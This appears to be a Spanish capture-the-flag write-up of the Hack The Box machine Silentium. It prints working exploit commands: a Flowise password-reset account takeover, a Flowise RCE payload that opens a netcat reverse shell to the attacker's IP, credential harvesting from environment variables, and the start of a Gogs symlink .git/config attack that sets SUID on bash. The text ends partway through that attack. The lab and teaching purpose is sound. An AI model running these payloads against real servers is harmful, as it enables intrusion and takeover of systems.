4 5 6 7 8 9 sage: var(\u0026#39;x\u0026#39;) sage: eq=((1-(1+x)^-12)/x==1200000/102454.23) sage: find_root(eq,0,1) 0.0037500062168545046 # Interés mensual ~ 0.375% sage: var(\u0026#39;i\u0026#39;) sage: eq2=(i==(1+find_root(eq,0,1))^12-1) sage: find_root(eq2,0,1) 0.04593990277854454 # Interés anual ~ 4.59% Así que al parecer Silentium ofrece bastantes buenas condiciones (\\(i\\approx4.594\\%\\)) para tratarse de un crédito de 1.2 millones.\nSi nos fijamos, el cálculo se hace con un script simple /assets/app.js:\n1 2 3 4 5 6 function calc(amount, term, rate = 4.5) { const r = rate / 100 / 12; // Safety guard if (r === 0 || term === 0) return 0; return (amount*r*Math.pow(1+r,term))/(Math.pow(1+r,term)-1); } Y confirmamos que el interés anual es del \\(4.5\\%\\), algo completamente irrelevante, pero curioso.\nMás allá de esto, no hay absolutamente nada más en la página principal, así que tenemos que ir a por el subdominio.\nSubdominio staging # Nada más entrar nos encontramos con un panel de login y nada más de información:\nSi miramos el código fuente, vemos que se listan varias cosas relevantes de las que podemos sacar el servicio en ejecución:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Flowise - Build AI Agents, Visually\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;icon\u0026#34; href=\u0026#34;favicon.ico\u0026#34; /\u0026gt; ... \u0026lt;meta property=\u0026#34;og:url\u0026#34; content=\u0026#34;https://flowiseai.com/\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;og:title\u0026#34; content=\u0026#34;Flowise - Build AI Agents, Visually\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;og:description\u0026#34; content=\u0026#34;Open source generative AI development platform for building AI agents, LLM orchestration, and more\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;twitter:url\u0026#34; content=\u0026#34;https://twitter.com/FlowiseAI\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;twitter:title\u0026#34; content=\u0026#34;Flowise - Build AI Agents, Visually\u0026#34; /\u0026gt; \u0026lt;meta property=\u0026#34;twitter:description\u0026#34; content=\u0026#34;Open source generative AI development platform for building AI agents, LLM orchestration, and more\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;twitter:creator\u0026#34; content=\u0026#34;@FlowiseAI\u0026#34; /\u0026gt; ... \u0026lt;/html\u0026gt; El código fuente indica que se trata de FlowiseAI, que según su propia página se describe como lo siguiente:\nFlowise es una plataforma de desarrollo de IA generativa de código abierto para construir Agentes de IA y flujos de trabajo con modelos de lenguaje (LLM).\nMás info en la documentación oficial.\nSi hacemos una búsqueda breve, encontramos que Flowise ofrece una API a través de la cual podemos descubrir la versión en servicio:\n1 2 $ curl http://staging.silentium.htb/api/v1/version {\u0026#34;version\u0026#34;:\u0026#34;3.0.5\u0026#34;} Si buscamos más acerca de esta versión, vemos que casualmente cuenta con un CVE (CVE-2025-59528) con CVSS 10.0 CRITICAL:\nIn version 3.0.5, Flowise is vulnerable to (unauthenticated) remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code\u0026hellip;\nEs decir, cualquier atacante con acceso al endpoint /api/v1/node-load-method/customMCP puede explotar la vulnerabilidad. El problema es que de momento no tenemos acceso, pues necesitamos un API token, y para ello necesitamos iniciar sesión.\nDe hecho, podemos probar a ejecutar un exploit sin autenticarnos previamente. En el report del CVE en Github encontramos un ejemplo de PoC que podemos modificar:\n1 2 3 4 5 6 7 8 9 curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -H \u0026#34;Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\u0026#34; \\ -d \u0026#39;{ \u0026#34;loadMethod\u0026#34;: \u0026#34;listActions\u0026#34;, \u0026#34;inputs\u0026#34;: { \u0026#34;mcpServerConfig\u0026#34;: \u0026#34;({x:(function(){const cp = process.mainModule.require(\\\u0026#34;child_process\\\u0026#34;);cp.execSync(\\\u0026#34;\u0026lt;COMANDO\u0026gt;\\\u0026#34;);return 1;})()})\u0026#34; } }\u0026#39; Pero si lo enviamos:\n1 2 3 4 5 6 7 8 9 10 $ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -H \u0026#34;Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\u0026#34; \\ -d \u0026#39;{ \u0026#34;loadMethod\u0026#34;: \u0026#34;listActions\u0026#34;, \u0026#34;inputs\u0026#34;: { \u0026#34;mcpServerConfig\u0026#34;: \u0026#34;({x:(function(){const cp = process.mainModule.require(\\\u0026#34;child_process\\\u0026#34;);cp.execSync(\\\u0026#34;curl http://10.10.14.219:8000\\\u0026#34;);return 1;})()})\u0026#34; } }\u0026#39; {\u0026#34;error\u0026#34;:\u0026#34;Unauthorized Access\u0026#34;} Buscando un API Token # Intentando crear una cuenta # Si buscamos en la documentación de Flowise, vemos que existe un endpoint /api/v1/account/register que permite registrar un nuevo usuario. Aunque por motivos obvios esto debería estar limitado, el endpoint es accesible por defecto para permitir la creación de la cuenta del primer administrador.\nSi probamos a mandar una solicitud al endpoint, recibimos lo siguiente:\n1 2 $ curl -X POST http://staging.silentium.htb/api/v1/account/register {\u0026#34;statusCode\u0026#34;:400,\u0026#34;success\u0026#34;:false,\u0026#34;message\u0026#34;:\u0026#34;You can only have one organization\u0026#34;,\u0026#34;stack\u0026#34;:{}} Tras probar con requests con datos válidos, veo que este error no es porque no tengamos permisos, sino porque, al parecer, Flowise bloquea el endpoint automáticamente cuando se crea la primera cuenta de administrador, así que nuestra vía no es esta.\nUsando otro CVE más. # Si miramos la versión 3.0.5 de nuevo, vemos que no solo tiene ese CVE, sino que tiene otros varios más (y graves). Uno de SSRF, otro de XSS, y el relevante, uno de robo de cuentas con CVSS 9.8: CVE-2025-58434.\nSegún el report de Github:\nThe forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover.\nEn resumen, el endpoint /api/v1/account/forgot-password, que acepta un email como input:\nDevuelve respuestas diferentes en función de si el email existe o no (permitiendo enumerar usuarios) Devuelve (cuando el email existe) un token que permite cambiar la contraseña directamente en /api/v1/account/reset-password Como tendremos que probar con varios emails, podemos copiar una wordlist de usuarios comunes, añadir @silentium.htb al final de cada uno, y probar con todos. Primero creamos la wordlist:\n1 2 3 4 5 6 # Copiamos 2 wordlist a un archivo $ cp /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt wordlistemails.txt $ cat /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \u0026gt;\u0026gt; wordlistemails.txt # Añadimos el sufijo @silentium.htb $ sed -e \u0026#39;s/$/@silentium.htb/\u0026#39; -i wordlistemails.txt Ahora probamos con un usuario que no exista para ver qué se nos devuelve:\n1 2 3 4 5 6 7 $ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;user\u0026#34;:{\u0026#34;email\u0026#34;:\u0026#34;admin@silentium.htb\u0026#34;}}\u0026#39; HTTP/1.1 404 Not Found ... {\u0026#34;statusCode\u0026#34;:404,\u0026#34;success\u0026#34;:false,\u0026#34;message\u0026#34;:\u0026#34;User Not Found\u0026#34;,\u0026#34;stack\u0026#34;:{}} Y finalmente buscamos el email:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ ffuf -X POST -u http://staging.silentium.htb/api/v1/account/forgot-password -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;user\u0026#34;:{\u0026#34;email\u0026#34;:\u0026#34;FUZZ\u0026#34;}}\u0026#39; -w wordlistemails.txt -fc 404,500 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://staging.silentium.htb/api/v1/account/forgot-password :: Wordlist : FUZZ: /home/kali/silentium/wordlistemails.txt :: Header : Content-Type: application/json :: Data : {\u0026#34;user\u0026#34;:{\u0026#34;email\u0026#34;:\u0026#34;FUZZ\u0026#34;}} :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response status: 404,500 ________________________________________________ ben@silentium.htb [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 418ms] Y ahí lo tenemos, ben@silentium.htb. Ahora a cambiar su contraseña. Mandamos la solicitud:\n1 2 3 4 5 6 7 8 9 10 $ curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;user\u0026#34;:{\u0026#34;email\u0026#34;:\u0026#34;ben@silentium.htb\u0026#34;}}\u0026#39; | jq { \u0026#34;user\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;e26c9d6c-678c-4c10-9e36-01813e8fea73\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;ben@silentium.htb\u0026#34;, \u0026#34;credential\u0026#34;: \u0026#34;$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG\u0026#34;, \u0026#34;tempToken\u0026#34;: \u0026#34;OWvOOFjGAqyY4CKNOOrbIsmhRUsJrrPe3c0DTVZxicDQWcqxUXfu8lY9MHFWjl1H\u0026#34;, ...[SNIP]... Y con su tempToken solicitamos un cambio de contraseña:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;user\u0026#34;:{ \u0026#34;email\u0026#34;:\u0026#34;ben@silentium.htb\u0026#34;, \u0026#34;tempToken\u0026#34;:\u0026#34;OWvOOFjGAqyY4CKNOOrbIsmhRUsJrrPe3c0DTVZxicDQWcqxUXfu8lY9MHFWjl1H\u0026#34;, \u0026#34;password\u0026#34;:\u0026#34;password\u0026#34; } }\u0026#39; | jq { \u0026#34;user\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;e26c9d6c-678c-4c10-9e36-01813e8fea73\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;ben@silentium.htb\u0026#34;, \u0026#34;credential\u0026#34;: \u0026#34;$2a$05$HvEuTRBDY12OKSInP5zXje63G.hLm.TpuFUYrgGZB8/T1I8Cs196G\u0026#34;, \u0026#34;tempToken\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;tokenExpiry\u0026#34;: null, \u0026#34;status\u0026#34;: \u0026#34;active\u0026#34;, \u0026#34;createdDate\u0026#34;: \u0026#34;2026-01-29T20:14:57.000Z\u0026#34;, ...[SNIP]... Para comprobar que se haya cambiado, probamos a crackear el hash devuelto rápidamente:\n1 2 3 4 5 6 $ echo \u0026#39;$2a$05$HvEuTRBDY12OKSInP5zXje63G.hLm.TpuFUYrgGZB8/T1I8Cs196G\u0026#39; \u0026gt; hash $ john hash --wordlist=/usr/share/wordlists/rockyou.txt Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) password (?) 1g 0:00:00:00 DONE (2026-04-11 20:48) 50.00g/s 3600p/s 3600c/s 3600C/s 123456..666666 Session completed. Y vemos que se ha cambiado, como debería.\nAhora probamos a iniciar sesión con las credenciales ben@silentium.htb:password, y finalmente tenemos acceso:\nNota: Sobrecargando la DB Aunque en el writeup se muestra un inicio de sesión limpio (Cambiar contraseña -\u0026gt; Iniciar sesión), en realidad probé a cambiar la contraseña de ben varias veces antes. Esto llevó a un bloqueo de SQLite que al final me obligó a reiniciar la máquina porque no podía iniciar sesión, como se ve aquí: Una vez dentro, vamos a API Keys, y ahí creamos una clave nueva. Ahora sí podemos usar el exploit. Con la clave ya introducida y el listener en escucha, mandamos la solicitud:\n1 2 3 4 5 6 7 8 9 $ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -H \u0026#34;Authorization: Bearer FmjZUolNC3NCvWxSF5y5rR0uFbMWYnMk16HkPFbWKYY\u0026#34; \\ -d \u0026#39;{ \u0026#34;loadMethod\u0026#34;: \u0026#34;listActions\u0026#34;, \u0026#34;inputs\u0026#34;: { \u0026#34;mcpServerConfig\u0026#34;: \u0026#34;({x:(function(){const cp = process.mainModule.require(\\\u0026#34;child_process\\\u0026#34;);cp.execSync(\\\u0026#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.219 4444 \u0026gt;/tmp/f\\\u0026#34;);return 1;})()})\u0026#34; } }\u0026#39; Y desde el listener\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ penelope -i 10.10.14.219 [+] Listening for reverse shells on 10.10.14.219:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from c78c3cceb7ba~10.129.26.68-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── / # whoami root / # ls -al /root/ total 20 drwx------ 1 root root 4096 Apr 8 09:41 . drwxr-xr-x 1 root root 4096 Apr 8 15:14 .. -rw------- 1 root root 384 Apr 12 01:19 .ash_history drwxr-xr-x 3 root root 4096 Apr 12 01:17 .flowise Estamos dentro, aunque dentro de un container.\nEscapando del container # Ya con acceso a un shell, el objetivo ahora sería encontrar las credenciales originales de ben u otras que nos permitan iniciar sesión en su cuenta, p.ej por SSH.\nSi ejecutamos env:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 env FLOWISE_PASSWORD=F1l3_d0ck3r ALLOW_UNAUTHORIZED_CERTS=true NODE_VERSION=20.19.4 HOSTNAME=c78c3cceb7ba YARN_VERSION=1.22.22 SMTP_PORT=1025 SHLVL=5 PORT=3000 HOME=/root OLDPWD=/ SENDER_EMAIL=ben@silentium.htb PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser JWT_ISSUER=ISSUER JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD LLM_PROVIDER=nvidia-nim SMTP_USERNAME=test SMTP_SECURE=false TERM=xterm-256color JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200 FLOWISE_USERNAME=ben PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DATABASE_PATH=/root/.flowise JWT_TOKEN_EXPIRY_IN_MINUTES=360 SHELL=/bin/sh JWT_AUDIENCE=AUDIENCE SECRETKEY_PATH=/root/.flowise PWD=/root/.flowise SMTP_PASSWORD=r04D!!_R4ge NVIDIA_NIM_LLM_MODE=managed SMTP_HOST=mailhog JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD SMTP_USER=test Aquí podemos ver 2 variables relevantes:\nSMTP_PASSWORD=r04D!!_R4ge FLOWISE_PASSWORD=F1l3_d0ck3r Si probamos a iniciar sesión por SSH con la primera\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 $ ssh ben@silentium.htb The authenticity of host \u0026#39;silentium.htb (10.129.26.68)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0 This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;silentium.htb\u0026#39; (ED25519) to the list of known hosts. ben@silentium.htb\u0026#39;s password: r04D!!_R4ge ...[SNIP]... ben@silentium:~$ Y ahora sí estamos dentro de la máquina real.\nEnumeración interna # Una vez dentro, vamos enumerando varias cosas:\nInfo del servidor 1 2 3 4 5 6 ben@silentium:~$ cat /etc/os-release PRETTY_NAME=\u0026#34;Ubuntu 24.04.4 LTS\u0026#34; ... ben@silentium:~$ uname -a Linux silentium 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux Tras buscar en Internet, la versión del kernel parece no ser vulnerable.\nPermisos sudo 1 2 3 ben@silentium:~$ sudo -l [sudo] password for ben: Sorry, user ben may not run sudo on silentium. Archivos con SUID bit 1 2 3 4 ben@silentium:~$ find / -perm -4000 2\u0026gt;/dev/null /usr/bin/gpasswd /usr/bin/umount ... # Nada fuera de lo común Puertos locales en escucha 1 2 3 4 5 6 7 8 ben@silentium:~$ netstat -tunlp | grep 127.0.0.1 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:36523 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN - Para ver qué hacen, hacemos port forwarding de cada uno de ellos y los escaneamos.\n1 2 3 4 $ ssh -fN -L 3000:localhost:3000 -L 3001:localhost:3001 -L 1025:localhost:1025 -L 36523:localhost:36523 -L 8025:localhost:8025 ben@silentium.htb ben@silentium.htb\u0026#39;s password: ... $ for i in {3000,3001,1025,36523,8025}; do (curl -v --connect-timeout 3 --max-time 3 \u0026#34;localhost:$i\u0026#34; \u0026gt; \u0026#34;silentium/port$i\u0026#34;); done Si vamos mirando la respuesta de cada uno:\ntcp/3000 da timeout (sin respuesta) tcp/3001 devuelve 200 OK tcp/1025 devuelve error, es ESMTP MailHog tcp/36523 devuelve 404 Not Found tcp/8025 devuelve 200 OK Dicho esto, podemos hacer un scan con nmap, excluyendo el puerto 3000.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 PORT STATE SERVICE VERSION 1025/tcp open smtp MailHog smtpd |_smtp-commands: Hello nmap.scanme.org, PIPELINING, AUTH PLAIN 3001/tcp open http Golang net/http server | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Content-Type: text/html; charset=UTF-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | Set-Cookie: i_like_gogs=e5c084ca33a99a8c; Path=/; HttpOnly | Set-Cookie: _csrf=KLPiR-LMvWQwbg32-iD-XZ474zk6MTc3NTk1ODQ0ODA0NTYwNDkyOA; Path=/; Domain=staging-v2-code.dev.silentium.htb; Expires=Mon, 13 Apr 2026 01:47:28 GMT; HttpOnly | X-Content-Type-Options: nosniff | X-Frame-Options: deny | Date: Sun, 12 Apr 2026 01:47:28 GMT | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html\u0026gt; | \u0026lt;head data-suburl=\u0026#34;\u0026#34;\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=UTF-8\u0026#34; /\u0026gt; | \u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;IE=edge\u0026#34;/\u0026gt; | \u0026lt;meta name=\u0026#34;author\u0026#34; content=\u0026#34;Gogs\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;description\u0026#34; content=\u0026#34;Gogs is a painless self-hosted Git service\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;keywords\u0026#34; content=\u0026#34;go, git, self-hosted, gogs\u0026#34;\u0026gt; | \u0026lt;meta name=\u0026#34;referrer\u0026#34; content=\u0026#34;no-referrer\u0026#34; /\u0026gt; | \u0026lt;meta name=\u0026#34;_csrf\u0026#34; content=\u0026#34;KLPiR-LMvWQwbg32-iD-XZ474 | HTTPOptions: | HTTP/1.0 500 Internal Server Error | Content-Type: text/plain; charset=utf-8 | Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647 | X-Content-Type-Options: nosniff | Date: Sun, 12 Apr 2026 01:47:28 GMT | Content-Length: 108 |_ template: base/footer:15:47: executing \u0026#34;base/footer\u0026#34; at \u0026lt;.PageStartTime\u0026gt;: invalid value; expected time.Time |_http-title: Gogs 8025/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: MailHog 36523/tcp open http Golang net/http server |_http-title: Site doesn\u0026#39;t have a title (text/plain; charset=utf-8). | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 Not Found | Date: Sun, 12 Apr 2026 01:47:38 GMT | Content-Length: 19 | Content-Type: text/plain; charset=utf-8 | 404: Page Not Found | GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 404 Not Found | Date: Sun, 12 Apr 2026 01:47:23 GMT | Content-Length: 19 | Content-Type: text/plain; charset=utf-8 | 404: Page Not Found | OfficeScan: | HTTP/1.1 400 Bad Request: missing required Host header | Content-Type: text/plain; charset=utf-8 | Connection: close |_ Request: missing required Host header Aunque hay bastante información, tras filtrarla un poco y buscar algo de información en Internet, podemos resumirlo a lo siguiente:\ntcp/3001: staging-v2-code.dev.silentium.htb, un subdominio nuevo. tcp/1025: MailHog smtpd tcp/36523: Sin info de momento. tcp/8025: API HTTP de MailHog y GUI MailHog # Si entramos a la GUI (puerto 8025), vemos lo siguiente: Sin emails, nada relevante, y no se muestra la versión de MailHog.\nEn el puerto 1025 tampoco hay nada, es simplemente el puerto SMTP de MailHog, no muy interesante, como mucho podríamos enumerar usuarios.\nStaging V2 # Si añadimos nuestro nuevo subdominio a /etc/hosts, y luego entramos desde el navegador, vemos un entorno de Gogs, aparentemente un servidor de Git.\nAhí encontramos un usuario ben, pero no tiene ningún repositorio público, aunque podemos probar con las 2 contraseñas que teníamos antes, a ver si se reutiliza alguna: r04D!!_R4ge y F1l3_d0ck3r, pero no hay suerte:\nAunque, si supuestamente tenemos acceso al email de Ben (MailHog), podríamos solicitar un cambio de contraseña desde Forgot password?, pero tampoco tenemos suerte:\nMás enumeración # Sin la posibilidad de cambiar la contraseña de ben (otra vez), y sin poder ver las versiones de Gogs o MailHog, solo nos queda buscar los archivos locales. Si echamos un ojo a /opt veremos los archivos de Gogs y los de MailHog.\n1 2 3 ben@silentium:/opt$ ls -l drwx--x--x 4 root root 4096 Apr 8 09:41 containerd #MailHog (Docker) drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs #Gogs Podemos confirmar que MailHog se ejecuta en un container mirando el árbol de procesos, aunque ya lo podíamos haber sospechado al encontrar las contraseñas de Ben:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ben@silentium:/opt$ pstree systemd─┬─ModemManager───3*[{ModemManager}] ├─VGAuthService ├─agetty ├─auditd─┬─laurel │ └─2*[{auditd}] ├─containerd───8*[{containerd}] ├─containerd-shim─┬─MailHog───5*[{MailHog}] │ └─11*[{containerd-shim}] ├─containerd-shim─┬─node───10*[{node}] │ └─11*[{containerd-shim}] ├─cron ├─dbus-daemon ... Dicho esto, vamos a por Gogs entonces.\n1 2 3 4 5 6 7 8 9 10 11 ben@silentium:/opt$ cd gogs/ ben@silentium:/opt/gogs$ ls -l drwxr-x--- 3 750 root 4096 Apr 8 09:41 custom drwxr-x--- 2 750 root 4096 Apr 8 17:46 data drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs drwxr-x--- 2 750 root 4096 Apr 12 07:02 log # Solo podemos ver ./gogs/ ben@silentium:/opt/gogs$ cd gogs/ ben@silentium:/opt/gogs/gogs$ ls custom data gogs LICENSE log README.md README_ZH.md scripts Aquí podemos ejecutar el binario para ver qué versión tiene:\n1 2 ben@silentium:/opt/gogs/gogs$ ./gogs --version Gogs version 0.13.3 Y\u0026hellip;\nCVE-2025-8110 (RCE mediante Symlink): Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code. CVE-2025-64111 (RCE por parche insuficiente): In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it\u0026rsquo;s still possible to update files in the .git directory and achieve remote command execution. Además, si miramos quién ejecuta Gogs:\n1 2 ben@silentium:/opt/gogs/gogs$ ps aux | grep gogs root 1529 0.0 1.8 1665132 72992 ? Ssl 07:02 0:04 /opt/gogs/gogs/gogs web Así que parece que hemos encontrado el camino correcto.\nCVEs en Gogs # Probamos con CVE-2025-8110. Como podemos ver aquí, el método para explotarlo es el siguiente:\nCrear repositorio de git Poner un enlace simólico apuntando a un archivo objetivo cualquiera y subirlo. Usar el endpoint PutContents para modificar datos del Symlink, lo que hará que el SO siga el enlace y modifique el archivo al que apunta Si ese archivo es .git/config, podemos modificar el parámetro sshCommand para hacer que el sistema ejecute comandos arbitrarios. Nota: Motivo del Exploit Modificar .git/config es muy fácil, qué nos impide poder cambiar nosotros mismos el sshCommand en .git/config localmente y subirlo al repositorio para obtener el RCE directamente? Por qué molestarnos tanto subiendo el symlink? Aquí la respuesta es que hay 3 cosas que git no sube o sincroniza entre cliente y servidor: .git/config, .git/hooks y los logs de la terminal. Si lo hiciese, absolutamente todo servidor de Git: Github, Gitlab, Gitea, y todo lo que empezase por Git (o Gogs), sería vulnerable a RCE porque cualquiera podría modificar su config y subirla al servidor. En definitiva, .git/config es un archivo local que crea el servidor para sí mismo al subir nuestro repo.\nExplotación # Primero necesitamos una cuenta, así que la creamos directamente.\nDesde aquí, creamos un repositorio nuevo cualquiera, p.ej testRepo.\nAhora tenemos que crear un repositorio nuevo, configurarlo para usar Gogs, y finalmente subir el Symlink a .git/config:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # Inicializar repo, crear Symlink y añadirlo al commit. $ ln -s .git/config cosas.txt $ git init $ git add cosas.txt # Configurar identidad $ git config --global user.name \u0026#34;username\u0026#34; $ git config --global user.email \u0026#34;user@name.com\u0026#34; # Hacer commit $ git commit -m \u0026#34;first commit\u0026#34; # Configurar servidor Git (Gogs) y pushear. $ git remote add origin http://staging-v2-code.dev.silentium.htb/username/testRepo.git $ git push -u origin master Enumerating objects: 3, done. Counting objects: 100% (3/3), done. Writing objects: 100% (3/3), 211 bytes | 211.00 KiB/s, done. Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Username for \u0026#39;http://staging-v2-code.dev.silentium.htb\u0026#39;: username Password for \u0026#39;http://username@staging-v2-code.dev.silentium.htb\u0026#39;: To http://staging-v2-code.dev.silentium.htb/username/testRepo.git * [new branch] master -\u0026gt; master branch \u0026#39;master\u0026#39; set up to track \u0026#39;origin/master\u0026#39;. Si ahora miramos el repositorio, vemos que ya se ha subido el Symlink:\nAhora tenemos que solicitar una modificación en nuestro Symlink, para poder modificar el archivo al que apunta. Esto lo hacemos a través del endpoint /api/v1/repos/\u0026lt;owner\u0026gt;/\u0026lt;repo\u0026gt;/contents/\u0026lt;filepath\u0026gt; usando PUT:\n1 2 3 4 5 # Primero sacamos el hash del archivo a modificar (necesario en Gogs) git ls-files -s cosas.txt 120000 74a16c50bb417b927af27e37af24480f00ed5232 0\tcosas.txt curl -u username:password -X PUT http://staging-v2-code.dev.silentium.htb/api/v1/repos/username/testRepo/contents/cosas.txt -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;message\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;branch\u0026#34;:\u0026#34;master\u0026#34;,\u0026#34;sha\u0026#34;:\u0026#34;74a16c50bb417b927af27e37af24480f00ed5232\u0026#34;,\u0026#34;committer\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;username\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;user@name.com\u0026#34;},\u0026#34;content\u0026#34;:\u0026#34;CONTENIDO_EN_BASE64\u0026#34;}\u0026#39; Para CONTENIDO_EN_BASE64 escribimos algo así en un archivo cualquiera y luego lo codificamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true sshCommand = chmod +s /bin/bash [remote 